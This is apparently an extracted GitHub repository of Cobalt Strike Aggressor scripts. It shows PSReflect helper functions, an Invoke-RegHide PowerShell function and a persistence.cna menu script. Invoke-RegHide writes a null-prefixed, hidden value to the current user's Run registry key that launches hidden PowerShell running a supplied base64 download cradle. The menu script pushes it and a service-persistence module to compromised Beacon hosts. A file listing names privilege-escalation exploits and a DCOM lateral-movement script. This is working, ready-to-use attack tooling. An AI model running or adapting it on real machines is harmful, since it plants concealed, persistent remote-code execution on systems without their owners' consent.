$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
}
foreach ($Key in $EnumElements.Keys)
{
# Apply the specified enum type to each element
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
}
$EnumBuilder.CreateType()
}
# A helper function used to reduce typing while defining struct
# fields.
function field
{
Param
(
[Parameter(Position = 0, Mandatory = $True)]
[UInt16]
$Position,
[Parameter(Position = 1, Mandatory = $True)]
[Type]
$Type,
[Parameter(Position = 2)]
[UInt16]
$Offset,
[Object[]]
$MarshalAs
)
@{
Position = $Position
Type = $Type -as [Type]
Offset = $Offset
MarshalAs = $MarshalAs
}
}
function struct
{
<#
.SYNOPSIS
Creates an in-memory struct for use in your PowerShell session.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: field
.DESCRIPTION
The 'struct' function facilitates the creation of structs entirely in
memory using as close to a "C style" as PowerShell will allow. Struct
fields are specified using a hashtable where each field of the struct
is comprosed of the order in which it should be defined, its .NET
type, and optionally, its offset and special marshaling attributes.
One of the features of 'struct' is that after your struct is defined,
it will come with a built-in GetSize method as well as an explicit
converter so that you can easily cast an IntPtr to the struct without
relying upon calling SizeOf and/or PtrToStructure in the Marshal
class.
.PARAMETER Module
The in-memory module that will host the struct. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER FullName
The fully-qualified name of the struct.
.PARAMETER StructFields
A hashtable of fields. Use the 'field' helper function to ease
defining each field.
.PARAMETER PackingSize
Specifies the memory alignment of fields.
.PARAMETER ExplicitLayout
Indicates that an explicit offset for each field will be specified.
.PARAMETER CharSet
Dictates which character set marshaled strings should use.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
DOS_SIGNATURE = 0x5A4D
OS2_SIGNATURE = 0x454E
OS2_SIGNATURE_LE = 0x454C
VXD_SIGNATURE = 0x454C
}
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
e_magic = field 0 $ImageDosSignature
e_cblp = field 1 UInt16
e_cp = field 2 UInt16
e_crlc = field 3 UInt16
e_cparhdr = field 4 UInt16
e_minalloc = field 5 UInt16
e_maxalloc = field 6 UInt16
e_ss = field 7 UInt16
e_sp = field 8 UInt16
e_csum = field 9 UInt16
e_ip = field 10 UInt16
e_cs = field 11 UInt16
e_lfarlc = field 12 UInt16
e_ovno = field 13 UInt16
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
e_oemid = field 15 UInt16
e_oeminfo = field 16 UInt16
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
e_lfanew = field 18 Int32
}
# Example of using an explicit layout in order to create a union.
$TestUnion = struct $Mod TestUnion @{
field1 = field 0 UInt32 0
field2 = field 1 IntPtr 0
} -ExplicitLayout
.NOTES
PowerShell purists may disagree with the naming of this function but
again, this was developed in such a way so as to emulate a "C style"
definition as closely as possible. Sorry, I'm not going to name it
New-Struct. :P
#>
[OutputType([Type])]
Param
(
[Parameter(Position = 1, Mandatory = $True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[Parameter(Position = 2, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$FullName,
[Parameter(Position = 3, Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Hashtable]
$StructFields,
[Reflection.Emit.PackingSize]
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
[Switch]
$ExplicitLayout,
[System.Runtime.InteropServices.CharSet]
$CharSet = [System.Runtime.InteropServices.CharSet]::Ansi
)
if ($Module -is [Reflection.Assembly])
{
return ($Module.GetType($FullName))
}
[Reflection.TypeAttributes] $StructAttributes = 'Class,
Public,
Sealed,
BeforeFieldInit'
if ($ExplicitLayout)
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
}
else
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
}
switch($CharSet)
{
Ansi
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AnsiClass
}
Auto
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::AutoClass
}
Unicode
{
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::UnicodeClass
s}
}
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$Fields = New-Object Hashtable[]($StructFields.Count)
# Sort each field according to the orders specified
# Unfortunately, PSv2 doesn't have the luxury of the
# hashtable [Ordered] accelerator.
foreach ($Field in $StructFields.Keys)
{
$Index = $StructFields[$Field]['Position']
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
}
foreach ($Field in $Fields)
{
$FieldName = $Field['FieldName']
$FieldProp = $Field['Properties']
$Offset = $FieldProp['Offset']
$Type = $FieldProp['Type']
$MarshalAs = $FieldProp['MarshalAs']
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
if ($MarshalAs)
{
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
if ($MarshalAs[1])
{
$Size = $MarshalAs[1]
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
$UnmanagedType, $SizeConst, @($Size))
}
else
{
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
}
$NewField.SetCustomAttribute($AttribBuilder)
}
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
}
# Make the struct aware of its own size.
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
'Public, Static',
[Int],
[Type[]] @())
$ILGenerator = $SizeMethod.GetILGenerator()
# Thanks for the help, Jason Shirk!
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
# Allow for explicit casting from an IntPtr
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
'PrivateScope, Public, Static, HideBySig, SpecialName',
$StructBuilder,
[Type[]] @([IntPtr]))
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Type].GetMethod('GetTypeFromHandle'))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
$StructBuilder.CreateType()
}
function Invoke-RegHide {
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$Cradle
)
$Module = New-InMemoryModule -ModuleName RegHide
# Define our structs.
# https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx
# typedef struct _UNICODE_STRING {
# USHORT Length;
# USHORT MaximumLength;
# PWSTR Buffer;
# }
$UNICODE_STRING = struct $Module UNICODE_STRING @{
Length = field 0 UInt16
MaximumLength = field 1 UInt16
Buffer = field 2 IntPtr
}
$OBJECT_ATTRIBUTES = struct $Module OBJECT_ATTRIBUTES @{
Length = field 0 UInt32
RootDirectory = field 1 IntPtr
ObjectName = field 2 IntPtr
Attributes = field 3 UInt32
SecurityDescriptor = field 4 IntPtr
SecurityQualityOfService = field 5 IntPtr
}
# ACCESS_MASK enum used to determine key permissions, used by NtOpenKey.
$KEY_ACCESS = psenum $Module KEY_ACCESS UInt32 @{
KEY_QUERY_VALUE = 0x0001
KEY_SET_VALUE = 0x0002
KEY_CREATE_SUB_KEY = 0x0004
KEY_ENUMERATE_SUB_KEYS = 0x0008
KEY_NOTIFY = 0x0010
KEY_CREATE_LINK = 0x0020
KEY_WOW64_64KEY = 0x0100
KEY_WOW64_32KEY = 0x0200
KEY_WRITE = 0x20006
KEY_READ = 0x20019
KEY_EXECUTE = 0x20019
KEY_ALL_ACCESS = 0xF003F
} -Bitfield
# ATTRIBUTES enum passed to an OBJECT_ATTRIBUTES struct.
$OBJ_ATTRIBUTE = psenum $Module OBJ_ATTRIBUTE UInt32 @{
OBJ_INHERIT = 0x00000002
OBJ_PERMANENT = 0x00000010
OBJ_EXCLUSIVE = 0x00000020
OBJ_CASE_INSENSITIVE = 0x00000040
OBJ_OPENIF = 0x00000080
OBJ_OPENLINK = 0x00000100
OBJ_KERNEL_HANDLE = 0x00000200
OBJ_FORCE_ACCESS_CHECK = 0x00000400
OBJ_VALID_ATTRIBUTES = 0x000007f2
} -Bitfield
# Function definitions, including parameters and Entrypoint names
$FunctionDefinitions = @(
(func ntdll NtOpenKey ([UInt32]) @(
[IntPtr].MakeByRefType(), #_Out_ PHANDLE KeyHandle,
[Int32], #_In_ ACCESS_MASK DesiredAccess,
$OBJECT_ATTRIBUTES.MakeByRefType() #_In_ POBJECT_ATTRIBUTES ObjectAttributes
) -EntryPoint NtOpenKey),
(func ntdll NtSetValueKey ([UInt32]) @(
[IntPtr], #_In_ HANDLE KeyHandle,
$UNICODE_STRING.MakeByRefType(), #_In_ PUNICODE_STRING ValueName,
[Int32], #_In_opt_ ULONG TitleIndex,
[Int32], #_In_ ULONG Type,
[IntPtr], #_In_opt_ PVOID Data,
[Int32] #_In_ ULONG DataSize
) -EntryPoint NtSetValueKey),
(func ntdll NtDeleteValueKey ([UInt32]) @(
[IntPtr], #_In_ HANDLE KeyHandle,
$UNICODE_STRING.MakeByRefType() #_In_ PUNICODE_STRING ValueName
) -EntryPoint NtDeleteValueKey),
(func ntdll NtClose ([UInt32]) @(
[IntPtr] #_In_ HANDLE ObjectHandle
) -EntryPoint NtClose),
(func ntdll RtlInitUnicodeString ([void]) @(
$UNICODE_STRING.MakeByRefType(), #_Inout_ PUNICODE_STRING DestinationString
[string] #_In_opt_ PCWSTR SourceString
) -EntryPoint RtlInitUnicodeString)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace RegHide
$ntdll = $Types['ntdll']
$KeyHandle = [IntPtr]::Zero
$DesiredAccess = $KEY_ACCESS::KEY_ALL_ACCESS
# To open the Current User’s registry hive, we need the user’s SID
$SID = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value
$KeyName = "\Registry\User\$SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# We'll have to convert the KeyName from PowerShell string into a UNICODE_STRING
$KeyBuffer = [Activator]::CreateInstance($UNICODE_STRING)
$ntdll::RtlInitUnicodeString([ref]$KeyBuffer, $KeyName)
# Create our OBJECT_ATTRIBUTES structure
# We don’t have the InitializeObjectAttributes macro, but we can do it manually
$ObjectAttributes = [Activator]::CreateInstance($OBJECT_ATTRIBUTES)
$ObjectAttributes.Length = $OBJECT_ATTRIBUTES::GetSize()
$ObjectAttributes.RootDirectory = [IntPtr]::Zero
$ObjectAttributes.Attributes = $OBJ_ATTRIBUTE::OBJ_CASE_INSENSITIVE
# Here, we need a pointer to the UNICODE_STRING we created previously.
$ObjectAttributes.ObjectName = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($UNICODE_STRING::GetSize())
[System.Runtime.InteropServices.Marshal]::StructureToPtr($KeyBuffer, $ObjectAttributes.ObjectName, $true)
# These are set to NULL for default Security Settings (mirrors the InitializeObjectAttributes macro).
$ObjectAttributes.SecurityDescriptor = [IntPtr]::Zero
$ObjectAttributes.SecurityQualityOfService = [IntPtr]::Zero
$status = $ntdll::NtOpenKey([ref]$KeyHandle, $DesiredAccess, [ref]$ObjectAttributes)
"OpenKey status: 0x{0:x8}" -f $status
# Next, let's create our hidden value key and its data
# Our hidden value key name will be "\0abcd" and its data will be an alert box that triggers
# Note that the Null character in PowerShell is `0
$ValueName = "`0pwned"
$Command = '"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "'
$Payload = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Cradle))
$ValueData += $Command
$ValueData += $Payload
$ValueData += '"'
Write-Verbose $ValueData
$ValueNameBuffer = [Activator]::CreateInstance($UNICODE_STRING)
$ValueDataBuffer = [Activator]::CreateInstance($UNICODE_STRING)
# Since RtlInitUnicodeString takes in a null-terminated string (and won't return the correct name),
# we'll have to manually create the ValueName UNICODE_STRING.
# Allocate enough space for 2-byte wide characters
$ValueNameBuffer.Length = $ValueName.Length * 2
$ValueNameBuffer.MaximumLength = $ValueName.Length * 2
$ValueNameBuffer.Buffer = [System.Runtime.InteropServices.Marshal]::StringToCoTaskMemUni($ValueName)
# ValueData doesn't have any `0 characters, so we're good to use RtlInitUnicodeString
$ntdll::RtlInitUnicodeString([ref]$ValueDataBuffer, $ValueData)
# Fill out the remaining parameters for NtSetValueKey
$ValueType = 0x00000001 # REG_SZ Value Type
# "Device and intermediate drivers should set TitleIndex to zero."
$TitleIndex = 0
$status = $ntdll::NtSetValueKey($KeyHandle, [ref]$ValueNameBuffer, $TitleIndex, $ValueType, $ValueDataBuffer.Buffer, $ValueDataBuffer.Length)
"SetValueKey status: 0x{0:x8}" -f $status
# uncomment these lines to clean up your registry key
# $status = $ntdll::NtDeleteValueKey($KeyHandle, [ref]$ValueNameBuffer)
# "DeleteValueKey status: 0x{0:x8}" -f $status
# Free the memory allocated after using AllocHGlobal
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ObjectAttributes.ObjectName)
# Close the handle to the key to clean up after we're done
$status = $ntdll::NtClose($KeyHandle)
"CloseKey status: 0x{0:x8}" -f $status
}
================================================
FILE: persistence/persistence.cna
================================================
sub hkcu_psh {
$bid = $1;
$dialog = dialog("HKCU (PSH) Persistence", $null, lambda({
$cradle = $3["cradle"];
btask($bid, "Tasked Beacon to persist via HKCU (PSH)");
$script = getFileProper(script_resource("persistence\\modules"), "PSReflect.ps1");
bpowershell_import!($bid, $script);
bpowerpick!($bid, "Invoke-RegHide -Verbose -Cradle \" $+ $cradle $+ \"");
}));
dialog_description($dialog, "Create a PowerShell oneliner at HKCU:SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run, hidden using PSReflect.");
drow_text($dialog, "cradle", "Download Cradle (b64'd): ");
dbutton_action($dialog, "Let's Rumble");
dialog_show($dialog);
}
sub service {
$bid = $1;
$dialog = dialog("Service Persistence", $null, lambda({
$name = $3["name"];
$displayname = $3["displayname"];
$description = $3["description"];
$binpath = $3["binpath"];
$startup = $3["startup"];
$sid = $3["sid"];
btask($bid, "Tasked Beacon to persist via Windows Service");
$script = getFileProper(script_resource("persistence\\modules"), "Invoke-ServicePersistence.ps1");
bpowershell_import!($bid, $script);
bpowerpick!($bid, "Invoke-ServicePersistence -Verbose -Name \" $+ $name $+ \" -DisplayName \" $+ $displayname $+ \" -Description \" $+ $description $+ \" -BinPath \" $+ $binpath $+ \" -StartupType \" $+ $startup $+ \" -SID \" $+ $sid $+ \"");
}));
dialog_description($dialog, "Create a Windows Service via the Service Control Manager; specify a user SID to assign start/stop privs.");
drow_text($dialog, "name", "Service Name: ", "test");
drow_text($dialog, "displayname", "Display Name (opt): ");
drow_text_big($dialog, "description", "Service Description (opt): ");
drow_text($dialog, "binpath", "Binary Path: ");
drow_combobox($dialog, "startup", "Startup Type", @("Manual", "Automatic"));
drow_text($dialog, "sid", "User SID: ");
dbutton_action($dialog, "Let's Rumble");
dialog_show($dialog);
}
popup beacon_bottom {
menu "Persistence" {
menu "Userland" {
item "HKCU (PSH)" {
hkcu_psh($1);
}
}
menu "Elevated" {
item "Service (SYSTEM)" {
service($1);
}
}
}
}
gitextract_cv9rrof5/
├── README.md
├── elevate/
│ ├── README.md
│ ├── elevate.cna
│ └── modules/
│ ├── Invoke-MS16032.ps1
│ └── Invoke-MS16135.ps1
├── lateral/
│ └── dcom.cna
├── loader.cna
└── persistence/
├── README.md
├── modules/
│ ├── Invoke-ServicePersistence.ps1
│ └── PSReflect.ps1
└── persistence.cna
Condensed preview — 11 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (89K chars).
[
{
"path": "README.md",
"chars": 472,
"preview": "# Aggressor Scripts\n\nCollection of Aggressor Scripts for Cobalt Strike\n\n## Basic Usage\nIf you clone the whole repo, you "
},
{
"path": "elevate/README.md",
"chars": 71,
"preview": "## Modules\n\n* MS15-051\n* MS16-016\n* MS16-032\n* MS16-135\n* CVE-2017-7199"
},
{
"path": "elevate/elevate.cna",
"chars": 3308,
"preview": "sub ms15_051 {\n\n\tbtask($1, \"Tasked Beacon to run \" . listener_describe($2) . \" via MS15-051\");\n\n\tif (-is64 $1) {\n\t\t$arch"
},
{
"path": "elevate/modules/Invoke-MS16032.ps1",
"chars": 13789,
"preview": "function Invoke-MS16032 {\n<#\n .SYNOPSIS\n \n PowerShell implementation of MS16-032. The exploit targets a"
},
{
"path": "elevate/modules/Invoke-MS16135.ps1",
"chars": 30761,
"preview": "function Invoke-MS16135 {\n<#\n .SYNOPSIS\n \n\t\tPowerShell implementation of MS16-135 (CVE-2016-7255). \n\t\tDiscover"
},
{
"path": "lateral/dcom.cna",
"chars": 1026,
"preview": "alias dcom {\n\n\tlocal('$shellcode $stager');\n\t\n\tif (listener_info($3) is $null) {\n\t\tberror($1, \"Listener $3 does not exis"
},
{
"path": "loader.cna",
"chars": 179,
"preview": "# Automatically loads all aggressor scripts.\n# Idea taken from Und3rf10w\n\ninclude(script_resource(\"elevate/elevate.cna\")"
},
{
"path": "persistence/README.md",
"chars": 964,
"preview": "## Modules\n\n### PowerShell HKCU via PSReflect\n\nAccepts a basic base64'd (to avoid escaping pain) download cradle. Write"
},
{
"path": "persistence/modules/Invoke-ServicePersistence.ps1",
"chars": 1094,
"preview": "function Invoke-ServicePersistence {\n\n [CmdletBinding()]\n param(\n [Parameter(Position=0,Mandatory=$True)]\n"
},
{
"path": "persistence/modules/PSReflect.ps1",
"chars": 29055,
"preview": "#Requires -Version 2\n\nfunction New-InMemoryModule\n{\n<#\n.SYNOPSIS\n\nCreates an in-memory assembly and module\n\nAuthor: Mat"
},
{
"path": "persistence/persistence.cna",
"chars": 2133,
"preview": "sub hkcu_psh {\n\n\t$bid = $1;\n\n\t$dialog = dialog(\"HKCU (PSH) Persistence\", $null, lambda({\n\n\t\t$cradle = $3[\"cradle\"];\n\n\t\tb"
}
]
About this extraction
This page contains the full source code of the rasta-mouse/Aggressor-Script GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 11 files (80.9 KB), approximately 23.2k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.